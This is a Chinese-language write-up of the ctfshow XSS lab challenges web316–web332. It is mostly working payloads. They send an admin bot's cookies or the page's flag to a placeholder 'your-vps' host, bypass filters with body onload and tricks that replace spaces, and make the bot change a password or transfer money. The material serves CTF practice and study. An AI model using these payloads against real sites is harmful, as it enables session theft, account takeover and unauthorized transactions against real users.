以前忘上传的水文
XSS
web316
在F12-控制台执行document.cookie
,可以看到自己的cookie,提示需要admin,说明只要拿到bot的cookie就拿到flag,即flag在cookie中
直接vps nc监听,构造一个js,用于bot对vps进行请求
<script>location.href="http://your-vps/"+document.cookie</script>
要注意的是如果直接浏览器请求很容易X到自己
当你提交这个js脚本给服务器,服务器会返回给你,而你的浏览器会立即解析该js,再由你的浏览器向你的vps请求
而bot是间断取获取该页面
所以我选择bp发包
而X到自己可能是这样的
web317
过滤了<script>
利用<body>标签
<body onload="location.href='http://your-vps/' + document.cookie"></body>
web318
web319
web320
一个小技巧,看页面是否跳转来判断是否xss成功
过滤了空格
可以用/**/
、%0a
、%09
、/
绕过
<body/onload="location.href='http://your-vps/'+document.cookie"></body>
web321
web322
web323
web324
web325
web326
web327
需要发给admin
<body/**/onload="window.location.href='http://your-vps/'+document.cookie"></body>
web328
可能存在XSS
注册用户名或者密码用js
<script>location.href="http://your-vps/"+document.cookie</script>
拿到admin的cookie
浏览器中改cookie显示admin,但对api接口的请求依旧用的原登录cookie
单独对该接口请求
web329
按照上题的方法拿cookie发现是失效的
原来是bot变聪明了,每次登录后刷新cookie了
那我们可以构造一个脚本让bot读flag然后发送到vps上
使用 jQuery 选择器 $('.laytable-cell-1-0-1')
找到页面中类名为 laytable-cell-1-0-1
的所有元素,each
函数用于遍历每个匹配的元素,将 index
作为元素的索引,value
作为元素的实际对象传递给回调函数。
wei
<script>
$('.laytable-cell-1-0-1').each(function(index,value){
if(value.innerText.indexOf('ctfshow{')>-1)
{location.href='http://your-vps/1.php?1='+value.innerText}
});
</script>
web330
发现可以修改密码
抓一个api
我们只需要构造一个js,让bot去访问这个接口即可
<script>location.href="http://33677a98-402b-425b-a19f-ca42b5c50214.challenge.ctf.show/api/change.php?p=n0o0b"</script>
web331
变成post请求了
构造post请求js
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1/api/change.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("p=n0o0b");
</script>
web332
admin肯定有钱,让admin转给我们
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1/api/amount.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("u=n0o0b&a=9999");
</script>